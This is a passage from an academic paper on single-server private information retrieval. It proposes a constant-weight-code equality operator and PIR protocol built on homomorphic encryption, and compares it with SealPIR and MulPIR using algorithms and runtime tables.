based cryptosystems [1, 4, 6, 18, 19, 22, 37].

In CPIR solutions, each item in the database has to be
processed at least once, otherwise, it can be trivially excluded
from the list of potential queries and compromise privacy.
Sion and Carbunar argued that the time required for any single-
server CPIR protocol would exceed the time required for the
trivial solution of simply downloading the entire database [33].
Later work by Aguilar-Melchor et al. showed this argument
to be incorrect with the use of lattice-based cryptosystems,
which have smaller per-bit computation cost when used in a
batched fashion [1]. They showed that PIR is a faster than
downloading the database over low-bandwidth networks.

2.3 Single-Server computational PIR
Single-server computational PIR solutions aim to perform bet-
ter than the trivial solution of downloading the entire database.
In the trivial solution, the download cost for the user is equal
to the size of the database, with no upload cost for the user.
Downloading the entire database also comes at almost no
computational burden for the server, i.e., the computational
cost is zero. We compare single-server CPIR protocols based
on the upload, download, and computational cost.

CPIR protocols utilizing homomorphic encryption are the
most practical solutions to date [1, 4, 6]. All these solutions
expand on a baseline method that works as follows:

Baseline PIR method. Let DB denote the database with
n rows and DB[i] denote the ith row in this database. Also,
throughout this paper, define [n] = {0,1, ...n− 1}, for any
n ∈ N. When the goal is to retrieve row q, a response rq is
derived as

rq = ∑
i∈[n]

I(i = q) ·DB[i]. (1)

where I(·) denotes an indicator function which is one when
the input evaluates to true and zero otherwise. It is easy to
verify that if q ∈ [n] then rq =DB[q]. Equation (1) is an inner
product between the database and a vector of bits called the
selection vector. For obtaining element q in the database, the
selection vector is one in index q and zero otherwise.

PIR protocols realizing Equation (1) encrypt the bits of the
selection vector with a homomorphic encryption scheme that
supports addition and plaintext multiplication and perform
the operations in Equation (1) over ciphertexts. In XPIR [1]
and SealPIR [6], two recent practical solutions, an additive
homomorphic encryption scheme is used. MulPIR [4] is the
first practical solution using a fully homomorphic encryption
scheme, which is also the case for our work.

The server requires ciphertexts of the bits of the selection
vector, i.e., I(i = q), to realize Equation (1). There are two
general approaches for the server to acquire the encrypted
bits of the selection vector: 1) Communicating the selection
vector 2) Equality Operators.

In the first approach, the user generates the selection vec-
tor locally, encrypts it and transmits it to the server. XPIR,
SealPIR, and MulPIR all take this approach. XPIR uploads
the entire selection vector but provides experiments to show
the practicality of this approach [1]. Despite its practicality,
the upload cost of XPIR is on the order of the number of rows
in the database which limits scalability.

Recursion is a method to reduce the upload cost to sublinear
in the size of the database. It was first used by Kushilevitz
and Ostrovsky [27] and later Stern [34]. This approach is also
used in SealPIR and MulPIR. In the next section, we describe
how recursion is done in SealPIR, which is conceptually
similar to prior work.
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2.3.1 SealPIR

SealPIR [6] is a PIR scheme based on the SEAL library
which uses a query compression technique and recursion to
reduce the upload cost. They also use additive homomorphic
encryption in a layered fashion.

In SealPIR, to communicate fewer ciphertexts, the user
encodes multiple bits into one plaintext, which is called the
query compression technique. Specifically, for a selection vec-
tor (si)i∈[n], the user constructs the plaintext p(x) = ∑i∈[n] sixi

and encrypts it. Recall that in SEAL, plaintexts are polynomi-
als of degree at most N, so if the size of the selection vector
exceeds the polynomial degree, dn/Ne ciphertexts are used.
As a consequence of the compression technique, SealPIR per-
forms a novel oblivious expansion on the server to extract a
vector of ciphertexts such that each bit of the selection vector
is in a separate ciphertext. SealPIR uses the substitution oper-
ation to perform the oblivious expansion. Algorithm 1 depicts
this procedure for expanding one ciphertext into a vector of
2c ciphertexts, for c ∈ {0,1, ..., log2 N}.

Algorithm 1 SEALPIR OBLIVIOUS EXPANSION

Input: ct(x) ∈ C , c ∈ {0,1, ..., log2 N}
1: cts← [ct(x)]
2: for a ∈ [c] do
3: for b ∈ [2a] do
4: c0 = cts[b]
5: c1 = x2−a · c0
6: cts[b] = c0 +SubN/2a+1(c0)
7: cts[b+2a] = c1 +SubN/2a+1(c1)

8: inv = (2−c mod t)
9: for i ∈ [2c] do

10: cts[i]← inv · cts[i]

Output: cts ∈ C 2c

To further reduce the upload cost, SealPIR uses a technique
called recursion in which the database is restructured into
a d-dimensional table. The users query is translated into a
coordinate in this d-dimensional table. Then instead of one
selection vector, d selection vectors are sent to the server, one
for each dimension. We refer to d as the recursion level. The
total size of the query is at least dd d

√
ne which is sublinear in

n for any d ≥ 2.
To calculate the response to the query using the selec-

tion vectors, d inner products are performed in sequence. In
SealPIR, an additive homomorphic encryption scheme is used
so the multiplication in the first inner product is performed
as a plaintext multiplication. However, the subsequent multi-
plications are between ciphertext, which is not supported. To
overcome this issue, one ciphertext is treated as a plaintext
in the multiplication. This is referred to as layered encryp-
tion and results in the size of the response multiplying by a
factor of F where F is the expansion factor of the ciphertext.

More generally, the size of the response is multiplied by a
factor of Fd−1 for recursion level equal to d. Overall, SealPIR
performs ∑

d−1
i=0 n

d−i
d F i plaintext multiplications for recursion

level d ≥ 1 and expansion factor of F for the ciphertext.
Ali et al. proposed three additional optimizations to

SealPIR to reduce the upload and download cost [4]. These
three optimizations are: compressing the uploaded ciphertexts
by encrypting using the secret key instead of the public key,
compressing the response ciphertexts using modulus switch-
ing, and a modified oblivious expansion to fit more bits into
the one ciphertext. Throughout this paper, SealPIR denotes
this modified version of the protocol.

2.3.2 MulPIR

MulPIR [4] replaces the layered encryption in SealPIR with
homomorphic multiplications. This reduces the download
cost drastically compared to SealPIR. However, it comes at
the cost of increased computation for the server since homo-
morphic multiplications are more expensive than plain multi-
plications and larger parameters are required to allow more
homomorphic multiplications. Overall, MulPIR performs n
plaintext multiplications and ∑

d−1
i=1 n

d−i
d homomorphic multi-

plications, for a recursion level d ≥ 1.
In SealPIR, due to the expansion in the response, the server

can not perform any post-processing on the output which is
a disadvantage of the protocol. Examples of post-processing
include deriving functions of the user’s query or conjunctive
and disjunctive PIR queries. In contrast to SealPIR, the output
of the MulPIR protocol can be post-processed before being
sent back to the user. Ali et al. [4] describe how to perform
conjunctive and disjunctive queries using MulPIR.

2.4 Equality Operators

Checking the equality of two values is an integral step in many
tasks over encrypted data such as secure search [2, 3], secure
pattern matching [11, 36], private set intersection [14, 26],
and PIR [16].

We define an equality operator as follows.

Definition 1 (Equality Operator). A procedure f is an equal-
ity operator over a domain D if ∀x,y ∈ D,

f (x,y) =
{

1 if x = y
0 o.w. (2)

In this section, we define two equality operators over their
respective domains and derive the multiplicative depth of a
circuit implementing each one. More operators exist which
are summarized in a previous version of this work [28]. When
working with an element x ∈ {0,1}`, we treat it as a string
of bits and refer to the bits of the string by indexing, i.e., x[i]
denotes the ith bit of x.
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Arithmetic Folklore Equality Operator. This operator is
used to compare two numbers in binary format. For a domain
D = {0,1}`, define fAF as

fAF(x,y) =
`−1

∏
i=0

(
1− (x[i]− y[i])2) (3)

for x,y∈ {0,1}`. This operator is correct when operating over
any field such as Zp. The multiplicative depth of a circuit
realizing this operator is equal to 1+ dlog2 `e, where ` is the
bit-length of the operands. The arithmetic folklore operator
is oblivious to both input operands. This is critical in some
applications, e.g., comparing two encrypted or secret shared
numbers.

When one operator is public, the arithmetic folklore equal-
ity operator can be modified to perform less operations with
a smaller multiplicative depth. The modified operator is as
follows.

Plain Folklore Equality Operator. For a domain D =
{0,1}`, define fPF as

fPF(x,y) = ∏
y[i]=0

(1− x[i]) ∏
y[i]=1

x[i] (4)

for x,y ∈ {0,1}`. This operator depends on the public
operand, which is y in this case. The multiplicative depth
of a circuit realizing this operator is equal to dlog2 `e, where
` is the bit-length of the operands.

2.4.1 PIR using Equality Operators

As mentioned in Section 2.3, equality operators are another
approach to PIR. In this approach, the user’s query is encoded
into some domain, encrypted and sent to the server. The server
computes each bit of the selection vector, i.e., I(i = q), using
an equality operator between the user’s encrypted query and
each identifier in the database. Then the server, using the
encrypted bits of the selection vector, derives the encryption
of rq using Equation (1), which is then sent back to the user
for decryption.

PIR with this approach using the folklore equality opera-
tor has the smallest upload cost amongst all non-trivial ap-
proaches. In this approach, only the optimal logarithmic bi-
nary encoding of the query is encrypted and uploaded. How-
ever, the computation cost is prohibitively high due to the
multiplicative depth of the folklore equality circuit which de-
pends on the number of rows in the database. In general, PIR
using equality operators is assumed to be impractical due to
the high multiplicative depth of equality circuits as parameters
scale [4, 6]. This work challenges this assumption.

2.5 Keyword PIR
In keyword PIR, a user retrieves an element from a database
using a keyword or identifier pertaining to the sought item.

Another way to phrase this is that in index PIR, all addresses
correspond to an element in the database, whereas in keyword
PIR, some keywords may not correspond to any element.
Note that keyword PIR implies that the user does not know
which keywords are present in the database. Otherwise, the
user can simply refer to its desired keyword by its position in
the list of sorted keywords.

Previous work has suggested solutions for keyword PIR
which all basically reduce keyword PIR to index PIR. Chor
et al. suggested two solutions where the user interactively
queries the server to privately obtain the physical address of
the desired item, given the identifier [15]. With the physical
address, the user then conducts index PIR to retrieve the
sought item. A common solution also proposed by Ali et al.
involves a probabilistic hashing technique to map keywords
into a small table such that index PIR is feasible [4].

PIR using equality operators is another approach to key-
word PIR, where the user’s query is compared to all the key-
words present in the database. However, since the cost of com-
paring keywords is prohibitively high for large keywords, this
approach is assumed to be impractical. This work proposes a
PIR protocol for index PIR which can be easily extended to
keyword PIR with minimal change. Moreover, the practical
computational cost of the constant-weight equality operator
results in a practical keyword PIR protocol.

3 Constructions for Constant-weight Codes

In this section, we describe our constructions. First, we
propose equality operators for constant-weight codewords.
Then we describe efficient mappings from other domains to
constant-weight codewords to facilitate the use of our pro-
posed operator in other contexts. Finally, we explain PIR
using constant-weight codewords in detail.

Constant-weight Code. A constant-weight code, or an m-
of-n code, is a form of error detecting code where all code-
words share the same Hamming weight. A binary constant-
weight code has the additional condition that all codewords
are binary strings. The one-hot (unary) code and the balanced
code are two examples of a binary constant-weight code. In a
balanced code, the number of ones is equal to the number of
zeros in all codewords.

The length of a code is the maximum bit-length of its code-
words and the size of the code is the number of distinct code-
words. For a binary constant-weight code of length m and
Hamming weight of k, the size is

(m
k

)
. For a fixed Hamming

weight k, to have a binary constant-weight code with a size of
at least n, we must choose the length, m, such that

(m
k

)
≥ n. By

one approximation, we have m ∈ O
(

k
√

k!n+ k
)

. We denote
the binary constant-weight code with length m and Hamming
weight k by CW (m,k).
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In all the constructions, k and m denote the Hamming
weight and code length, respectively.

3.1 Equality Operators for Constant-weight
Codewords

We propose two variants of the equality operator over
constant-weight codewords in this section. A third construc-
tion over a binary field is given in a previous version of this
work [28].

Plain Constant-weight Equality Operator. For two
constant-weight codewords x,y ∈CW (m,k),

fPCW (x,y) = ∏
y[ j]=1

x[ j] (5)

is the plain equality operator. This operator is oblivious to the
first operand but depends on the second. A circuit realizing
this operator performs k multiplications with a multiplicative
depth of dlog2 ke.

Arithmetic Constant-weight Equality Operator. For two
constant-weight codewords x,y ∈CW (m,k), Algorithm 2 de-
scribes the arithmetic equality operator over constant-weight
codewords. Algorithm 2 operates over any field in which k!
has a multiplicative inverse.

Algorithm 2 ARITHMETIC CONSTANT-WEIGHT EQUALITY
OPERATOR

Input: x,y ∈CW (m,k)

1: k′ = ∑
i∈[m]

x[i] · y[i]

2: e = 1
k! ∏

i∈[k]
(k′− i)

Output: e ∈ {0,1}

Theorem 1. For x,y ∈CW (m,k), if fACW (x,y) is the output
of Algorithm 2, then fACW (x,y) is an equality operator.

Proof. If x and y are equal, the position of bits equal to one
in their encodings are identical, and consequently, the inner
product, k′, will be equal to k. When they are not equal, the
inner product will be in the set {0,1, ...,k−1}. Also, based
on the definition of e on line 2 of Algorithm 2, it holds that

e =
{

1 k′ = k
0 k′ ∈ {0,1, ...,k−1} (6)

Putting these two together, e will be one, if and only if x
and y are equal and zero otherwise.

A circuit realizing this operator performs m+ k multiplica-
tions with a multiplicative depth of 1+ dlog2 ke.

3.2 Mappings to Constant-weight Codewords

The domain of all the operators described in this section is
a constant-weight code. To benefit from these constructions
in a setting where we want to compare elements from other
domains, we also propose efficient mappings from other do-
mains to constant-weight codewords. The goal is for the map-
ping (and inverse mapping) procedure to be efficient and less
expensive than storing an equivalence table. We describe the
perfect mapping below and detail the inverse perfect mapping
and the lossy mapping in Appendix A.

Perfect Mapping. This mapping is used to map numbers
in the set [n] to CW (m,k) such that it is injective and has an
inverse. To have the injective property, the code size must be
at least n, i.e., |CW (m,k)|=

(m
k

)
≥ n. The mapping procedure

is given in Algorithm 3.

Algorithm 3 PERFECT MAPPING

Input: x ∈ [n], m,k ∈ N such that
(m

k

)
≥ n

1: r = x
2: h = k
3: y = 0m

4: for m′ = m−1, ...,1,0 do
5: if r ≥

(m′
h

)
then

6: y[m′] = 1
7: r = r−

(m′
h

)
8: h = h−1
9: if h = 0 then break

Output: y ∈CW (m,k)

Intuitively, this procedure is assigning the ith valid code-
word from a sorted list of codewords to the number i. Creating
this list and extracting the mapping corresponding to a number
would be prohibitively expensive with an average complex-
ity of θ

((m
k

))
. The complexity of our mapping procedure is

O(m+ k).

3.3 PIR using Constant-weight Codewords

In this section, we describe our protocol for PIR using
constant-weight codewords, which we name constant-weight
PIR. Our protocol follows the approach using equality oper-
ators with the plain constant-weight equality operator at its
core. It is the first practical and scalable PIR protocol using
the equality operator approach.

The PIR protocol is conducted between a server and user.
The server holds a database, DB, with n identifiers. Each
identifier corresponds to some payload data in the database.
We denote the set of identifiers in the database by ID. The
user holds a query q from the domain of identifiers which we
denote by S(ID). We know by definition that ID⊆ S(ID), but
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Table 2: Stages of PIR using constant-weight codewords

Stage Performed by Functionality Comp.
Complexity

Setup Server (Offline) Set Parameters, Put DB in plaintext format O(n)
Query Client Construct query, Send to Server O(m)

Process Server
Query Expansion O(m)

Selection Vector Calculation O(n)
Inner product with DB O(ns)

Extract Client Decrypt & decode the server’s response O(s)

the user’s query might not necessarily be in the database. Pre-
vious work, including SealPIR and MulPIR, focuses mainly
on PIR when |S(ID)| = |ID| = n, i.e., index PIR. In con-
trast, our work is applicable for both index and keyword
PIR. We first describe constant-weight PIR for index PIR
and explain how to expand our construction to keyword PIR
in Section 3.3.5.

The protocol consists of four main stages: Setup, Query,
Process, and Extract. The Setup is an offline stage, whereas
the other three stages happen online. An offline stage does
not depend on the user’s query and the server can perform
this stage before the user sends its query to reduce latency.
Table 2 summarizes the stages of our PIR protocol. In the
following sections, we describe each stage in detail.

3.3.1 Setup

In this stage, parameters for the homomorphic encryption
system are chosen such that they meet the security require-
ments. The payload data within each row of the database is
then converted into FV plaintexts. Only the contents of each
database row must be converted to plaintexts, not the set of
identifiers. However, the constant-weight code corresponding
to each identifier can be calculated and stored in this stage
to reduce the runtime in the online stages. This stage can be
done without regard to the user’s query and only depends on
the choice of encryption parameters. After this offline stage,
the server holds a table of plaintexts with n rows and at most
s plaintexts in each row, for some s≥ 1.

3.3.2 Query

In this stage, the user constructs its query in the appropriate
format and sends it to the server. First, parameters for the
user’s query are chosen. The Hamming weight, k, is chosen
and then the code length m, is derived such that

(m
k

)
≥ n. The

user then constructs its query as depicted by Algorithm 4. Let
q ∈ S(ID) denote the user’s query. The user maps its query to
a constant-weight codeword from CW (m,k). Let Eq denote
the mapping of q. Eq is then converted to FV plaintexts
as shown in lines 2–4 of Algorithm 4. The compression
factor, c, indicates how many bits of the user’s query are in
each plaintext. Specifically, for c ∈ {0,1, ..., log2 N}, exactly
2c bits are in each plaintext. A higher compression factor
reduces the upload cost but requires more computation for

decompression, as we will see the next stage. Finally, the
plaintexts are encrypted using the user’s secret key. The client
sends the output of Algorithm 4 along with m, k, and c to the
server for the next stage.

Algorithm 4 QUERY

Input: q ∈ S(ID), m,k ∈ N, c ∈ {0,1, ..., log2 N}
1: Eq← MapToConstantWeightCode(q,m,k)
2: h = d m

2c e
3: for i ∈ [h] do
4: mi(x) = ∑

j∈[2c]
2−c ·Eq[i2c + j] · x j

5: for i ∈ [h] do
6: cti(x) = Enc(sk,mi(x))

Output: (cti(x))i∈[h]

3.3.3 Process Query

This stage consists of three steps which are done by the server:
Query Expansion, Selection Vector Calculation, and Inner
Product.

Query Expansion. In the first step, the server expands the
ciphertexts received from the user such that each bit of the
user’s query is in a separate ciphertext. Algorithm 5 describes
the query expansion procedure, which is a modified version
of Algorithm 1. We replace the use of two substitutions and
one plaintext multiplication in the inner loop of Algorithm 1
with one substitution and two plaintext multiplications. Since
substitution is slower compared to plain multiplication, as
indicated in Table 1, there is an overall speedup. This mod-
ification in the expansion algorithm was first adopted in the
implementation of MulPIR from the OpenMined community.1

In Appendix B, we prove the correctness of this procedure
by showing it is equivalent to Algorithm 1, which has been
proven to be correct by Angel et al. [6]. The for loop on line
6 of Algorithm 5 can be executed in parallel.

The output of this step is a vector of m ciphertexts, where
each ciphertext contains one of the bits of Eq, i.e., the encoded
query.

Selection Vector Calculation. In this step, the server cre-
ates the selection vector using the expanded query from the
output of the previous step. For this, the server iterates over
ID, the set of identifiers in the database, maps each identifier
to a constant-weight codeword and performs the equality oper-
ator between the mapped identifier and the user’s query. The
constant-weight codeword corresponding to each identifier is
calculated in the Setup stage to reduce online runtime. We
use the plain constant-weight equality operator since one of

1https://github.com/OpenMined/PIR
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Algorithm 5 QUERY EXPANSION

Input: (ct j(x)) ∈ Cd
m
2c e, m ∈ N, c ∈ {0,1, ..., log2 N}

1: h =
⌈ m

2c

⌉
2: ctxts← []
3: for j ∈ [h] do
4: cts← [ct j]
5: for a ∈ [c] do
6: for b ∈ [2a] do
7: c0← cts[b]
8: c0← SubN/2a+1(c0)

9: c1← x−2a · c0
10: cts[b+2a]← x−2a · cts[b]
11: cts[b]← cts[b]+ c0
12: cts[b+2a]← cts[b+2a]− c1

13: ctxts← ctxts||cts

Output: ctxts ∈Cm

the operators is unencrypted. Algorithm 6 depicts this step
with the output from the query expansion as input.

Algorithm 6 SELECTION VECTOR CALCULATION

Input: ctxts ∈ C m

1: sel← []
2: for i ∈ [n] do
3: E← MapToConstantWeightCode(ID[i],m,k)
4: sel[i] = ∏

E[ j]=1
ctxts[ j]

Output: sel ∈ C n

This is the most computationally expensive step of the pro-
tocol, however, it can be done in parallel across the identifiers
in the database. The output of this stage is an encrypted se-
lection vector of size n, with each bit in a separate ciphertext.

Inner Product. In the last step of this stage, an inner prod-
uct is performed between the selection vector derived from
the previous step and the database. Each row of the database
contains at most s plaintexts from the setup phase, hence s
inner products are performed and s ciphertexts are sent to the
user as the response. Each inner product operation includes n
plaintext multiplication which can be done in parallel. The
s inner products can also be done in parallel when s is large
to enhance performance. The output of the inner products is
sent to the user for the next stage.

3.3.4 Extract

In the last stage, the user decrypts the ciphertext(s) received
from the server. The results are extracted from the decrypted
messages by the client.

3.3.5 Constant-weight Keyword PIR

Recall that ID is the list of identifiers in the database, and
S(ID) refers to the domain of identifiers, i.e., the set of all pos-
sible identifiers. By definition, ID⊆ S(ID). In the previous
sections, we have discussed PIR in the case where ID= S(ID).
Related work has also mainly focused on PIR under this as-
sumption [4, 6]. A sparse database, however, specifies the
case where ID where is much smaller than S(ID). In this
case, not all identifiers in the domain are associated with an
element in the database.

The architecture described in this section is applicable
when the database is sparse, with computation on the order
of |ID|, not |S(ID)|. For this, the following changes must be
made to the protocol.

• In the query stage, the code length, m, and Hamming
weight, k, are chosen such that

(m
k

)
≥ |S(ID)|.

• In the selection vector calculation step, encrypted bits of
the selection vector are generated only for identifiers in
the database, i.e., the for loop on line 4 of Algorithm 6
is performed only over the identifiers in the database.
Hence, this step is unchanged.

• Similarly in the inner product step, we only perform
plain multiplications and sum for identifiers in the
database.

PIR solutions based on selection vectors have a compu-
tational complexity that depends on the domain size, which
makes them unsuitable for keyword PIR. We examine this
further Section 6.

4 Evaluation of Equality Operators

We evaluate equality operators in two categories:

• Plain equality operators, where one operand is public,
i.e., the circuit depends on one of the operands. We con-
sider two candidates in this category: the plain folklore
and the plain constant-weight equality operator.

• Arithmetic equality operators, where the circuit is oblivi-
ous to both operands and operates over an arbitrary field.
We consider the arithmetic folklore and the arithmetic
constant-weight equality operators in this category.

Table 3 summarizes these operators, along with the prop-
erties of circuits that implement each of them. We include
properties that significantly influence the runtime such as the
number of homomorphic and plain multiplications and the
multiplicative depth. Note that different circuits operate over
different domains, which are stated in Table 3, but for a fair
comparison, we select parameters such that the size of all
the domains is at least n. To meet this criteria, the required
condition for each of the operators is listed in the table.
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Table 3: Properties of circuits implementing equality opera-
tors mentioned in this work.

Operator Domain # of Operations Multiplicative
Depth Conditions

Plain Fl. {0,1}` ` ·M dlog2 `e `≥ log2 n
Plain Cw CW (m,k) k ·M dlog2 ke

(m
k

)
≥ n

Arithmetic Fl. {0,1}` 2` ·M 1+ dlog2 `e `≥ log2 n
Arithmetic Cw CW (m,k) PM+(m+ k) ·M dlog2 ke

(m
k

)
≥ n

In the experiments, we vary the domain size, n, to observe
the effect on the performance of the circuit implementing
each operator. Our implementation of all the equality circuits
is open-source and available on Github2. We implement the
circuits using C++ and the SEAL library (version 3.6). For the
SEAL library, we use three different encryption parameters
specified by N, the polynomial modulus degree, where N ∈
{4096,8192,16384}. The default ciphertext modulus is used
to achieve 128-bit security. We also run all experiments both
in single-thread and in parallel across multiple cores. The
goal is to observe the speedup in each circuit when run in
parallel.

All circuits are run in a SIMD fashion using the batch en-
coding functionality of SEAL. Using this feature, N elements
can be compared at the same time. In plain operators, since
the circuit depends on the plain operands, N elements are
compared to the same operand in the clear. This is not the
case for the arithmetic operand, in which N pairs of numbers
are compared simultaneously. The runtime can be divided by
N to achieve the amortized cost of one equality check.

We run all experiments on an Intel Xeon E5-4640 @
2.40GHz server running Ubuntu 16.04. Parallelization is
performed using 32 physical cores.

4.1 Plain Operators
Table 4 summarizes the results of our experiments for plain
equality operators. Each column reports the runtimes for
a specific domain size. We report the results for the plain
constant-weight operator in four categories based on the rela-
tionship between log2 n and k.

The constant-weight plain operator consistently outper-
forms the folklore operator in terms of running time. The
advantage is greater when smaller homomorphic encryption
parameters (namely N) can be used. This is possible due to a
smaller multiplicative depth compared to the folklore circuit
in cases where k < log2 n. However, the advantage exists even
when using the same homomorphic encryption parameters.
This can be attributed to fewer multiplications in the circuit
(k compared to `) when a small Hamming weight is used.

Faster runtimes for the plain constant-weight circuit come
at the cost of higher memory usage during the protocol. The
memory usage depends on the code length, also specified

2https://github.com/RasoulAM/constant-weight-pir

Table 4: Runtimes for plain equality operators in seconds.
Dashes indicate cases where the ciphertext was undecryptable
due to homomorphic noise. k and m denote the Hamming
weight and constant-weight code length, respectively. Bold
numbers indicate the best runtimes for each n.

n 28 216 232 264 2128 2256 2512

Plain
Folklore

` 8 16 32 64 128 256 512
Mult Depth 3 4 5 6 7 8 9
N = 8192 0.27 0.54 - - - - -

N = 16384 1.1 2.4 5.0 10 21 42 84

Plain
Constant-

weight
k = log2 n

k 8 16 32 64 128 256 512
Mult Depth 3 4 5 6 7 8 9

m 12 22 43 85 168 334 665
N = 8192 0.27 0.57 - - - - -

N = 16384 1.1 2.6 4.9 10 20 40 81

Plain
Constant-

weight
k = 1

2 log2 n

k 4 8 16 32 64 128 256
Mult Depth 2 3 4 5 6 7 8

m 11 19 36 68 132 261 517
N = 8192 0.11 0.27 0.55 - - - -

N = 16384 0.49 1.1 2.4 5.0 10 21 41

Plain
Constant-

weight
k = 1

4 log2 n

k 2 4 8 16 32 64 128
Mult Depth 1 2 3 4 5 6 7

m 24 37 64 117 221 427 838
N = 4096 0.01 - - - - - -
N = 8192 0.04 0.12 0.25 0.49 - - -

N = 16384 0.17 0.48 1.1 2.4 5.0 10 21

Plain
Constant-

weight
k = 1

8 log2 n

k 1 2 4 8 16 32 64
Mult Depth 0 1 2 3 4 5 6

m 256 363 569 968 1749 3290 6349
N = 4096 0.0001 0.008 - - - - -
N = 8192 0.0004 0.038 0.10 0.25 0.54 - -

N = 16384 0.002 0.17 0.5 1.1 2.4 5.0 10

in the table. Depending on the application, the code length
determines the communication complexity if operands are
communicated over the network.

Parallelization offers roughly up to 10× speedup for both
circuits and there is no noticeable difference in the advantage
that parallel implementation offers for both circuits. Table 12
in Appendix C shows the runtimes of plain operators when
parallelized.

4.2 Arithmetic Operators

Table 5 summarizes the results of our experiments for arith-
metic equality operators. Similar to before, each column
reports the runtimes for a specific domain size. We report
the results for the arithmetic constant-weight operator in four
categories based on the relationship between log2 n and k.

Unlike the plain operators, the constant-weight arithmetic
operator is not always faster than the equivalent folklore arith-
metic equality circuit, or the advantage is marginal. This is
due to the large number of homomorphic multiplications that
are required in a constant-weight arithmetic circuit (m+ k
compared to `). Specifically, when the constant-weight code
length, m, is large due to a small Hamming weight, k, the
number of multiplications can be very high compared to the
folklore. However, in some cases, the smaller Hamming
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Table 5: Runtimes for arithmetic equality operators in seconds.
Dashes indicate cases where the ciphertext was undecryptable
due to homomorphic noise. k and m denote the Hamming
weight and constant-weight code length, respectively. Bold
numbers indicate the best runtimes for each n.

n 28 216 232 264 2128 2256 2512

Arithmetic
Folklore

` 8 16 32 64 128 256 512
Mult Depth 4 5 6 7 8 9 10
N = 8192 0.49 - - - - - -

N = 16384 2.2 4.6 9.2 19 37 74 149

Arithmetic
Constant-

weight
k = log2 n

k 8 16 32 64 128 256 512
Mult Depth 4 5 6 7 8 9 10

m 12 22 43 85 168 334 665
N = 8192 0.692 - - - - - -

N = 16384 3.0 6.0 12 23 47 93 186

Arithmetic
Constant-

weight
k = 1

2 log2 n

k 4 8 16 32 64 128 256
Mult Depth 3 4 5 6 7 8 9

m 11 19 36 68 132 261 517
N = 8192 0.53 - - - - - -

N = 16384 2.2 4.3 8.2 16 31 63 123

Arithmetic
Constant-

weight
k = 1

4 log2 n

k 2 4 8 16 32 64 128
Mult Depth 2 3 4 5 6 7 8

m 24 37 64 117 221 427 838
N = 8192 0.85 1.3 - - - - -

N = 16384 4.3 6.4 11 21 40 78 154

Arithmetic
Constant-

weight
k = 1

8 log2 n

k 1 2 4 8 16 32 64
Mult Depth 1 2 3 4 5 6 7

m 256 363 569 968 1749 3290 6349
N = 4096 2.0 - - - - - -
N = 8192 8.4 12 19 - - - -

N = 16384 41 58 91 156 282 533 1064

weight results in a lower multiplicative depth, which in turn
allows the use of smaller homomorphic encryption parame-
ters. For example for n = 216, the constant-weight operator
with k = 4 using N = 8192 is about 4 times faster than the
folklore using N = 16384. The amortized cost is also about 2
times faster.

Similar to the plain equality operators, high memory usage
is also an issue with the arithmetic constant-weight equality
operator and it requires much more memory than the equiva-
lent folklore operator.

The effect of the parallelization is however substantially
different between folklore and constant-weight operators. Fig-
ure 1 shows the speedup for each of the five categories in
Table 5. The folklore circuit runs at most 2 times faster with
parallelization, whereas the constant-weight circuit has more
than a 10× speedup in some cases. The speedup is larger
as the domain size grows. The speedup is mainly due to the
m homomorphic multiplications that can be done in parallel.
With parallelization, the arithmetic constant-weight operator
outperforms the arithmetic folklore operators for all domain
sizes. Table 12 in Appendix C shows the runtimes of arith-
metic operators when run in parallel.
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Figure 1: Speedup using parallelization when evaluating arith-
metic equality operators

5 Evaluation of PIR for Large Payloads

In this section, we evaluate PIR protocols based on runtime
and communication cost. Specifically, we compare PIR using
the folklore equality operator (which we call folklore PIR),
Constant-weight PIR, SealPIR [4], and MulPIR [4].

Folklore PIR refers to a PIR protocol using the same ar-
chitecture as constant-weight PIR, but replacing the equality
operator with the plain folklore operator. Indices are encoded
using the logarithmic binary encoding in this protocol.

SealPIR and MulPIR are based on the approach where
the selection vector is communicated to the server, whereas
folklore PIR and constant-weight PIR make use of equality
operators. We aim to compare the two general methods (se-
lection vectors vs. equality circuits) while also evaluating
constant-weight PIR against folklore PIR.

Unary Approach. Note that SealPIR and MulPIR with
d = 1 are equivalent to constant-weight PIR when k = 1.
Hence, we refer to this configuration as the unary approach.
We report the runtimes of this approach in Appendix D as a
baseline. To give a summary, the unary approach has a smaller
runtime compared to the other approaches described in this
paper and has a reasonable upload cost for small, packed
databases. However, the upload cost is on the order of the size
of the domain which is impractical for large domains. Hence,
we exclude it from the comparison in this section. Specifi-
cally, we compare approaches that have a multiplicative depth
of at least one. This includes SealPIR and MulPIR with d ≥ 2,
and constant-weight PIR with k≥ 2. This setup is particularly
useful for large domains, which we explain in Section 3.3.5.

Implementation Details. Constant-weight PIR is imple-
mented as described in Section 3.3. We also implement folk-
lore PIR using the same architecture and consisting of the
same stages described in Section 3.3. However, we use a
logarithmic binary encoding for indices and the equality op-
erator is replaced with a plain folklore equality operator per
definition in Equation (4).

Our implementation of constant-weight PIR and folklore
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PIR is open-source and available on Github3. We imple-
ment all protocols using C++ and SEAL (version 3.7)4

as the homomorphic encryption library. For SealPIR and
MulPIR, we use the implementation by the OpenMined com-
munity5. We select homomorphic encryption parameters
such that it satisfies 128-bit security. Specifically, we use
N ∈ {4096,8192,16384} and the default coefficient modu-
lus in SEAL for 128-bit security. Each protocol is run with
the smallest parameter set which produces decryptable re-
sults. Specifically, SealPIR uses N = 4096, whereas MulPIR,
folklore PIR, and constant-weight PIR require N ≥ 8192.

We run all experiments on an Intel Xeon E5-4640 @
2.40GHz server running Ubuntu 16.04.

Experimental Setup. Index PIR implies that all database
rows are full (in contrast to keyword PIR where some key-
words do not correspond to any payload data in the database).
We are interested in the case where the payload is large. Previ-
ous work on PIR, specifically information theoretic PIR, has
examined PIR when the payload grows arbitrarily large [7, 8].
There also exist applications of single-server PIR such that
the payload can be arbitrarily large [29].

Note that the size of the payload data is a multiple of the
plaintext size and plaintext sizes depend on the homomor-
phic encryption parameters used in each approach. Hence,
we run experiments for a payload data of one plaintext and
extrapolate the results for larger payload data sizes.

Results. Table 6 lists the properties of the four aforemen-
tioned protocols.

Table 6: Parameters for PIR protocols when |S(ID)|= |ID|=
n and the payload data is s plaintexts.

Method Mult Depth Query
Bit-length

# of Operations
(Excluding Expansion)

Download
Cost (in cts)

SealPIR d−1 dd d
√

n e (∑d−1
i=0 n

d−i
d F i ·PM) · s Fd−1s

MulPIR d−1 dd d
√

n e (n ·PM+∑
d−1
i=1 n

d−i
d ·M) · s s

Fl. PIR dlog2dlog2 nee dlog2 ne ndlog2 ne ·M+ns ·PM s

Cw PIR dlogke O
(

k
√

k!n+ k
)

nk ·M+ns ·PM s

First, we compare protocols using equality operators. Ta-
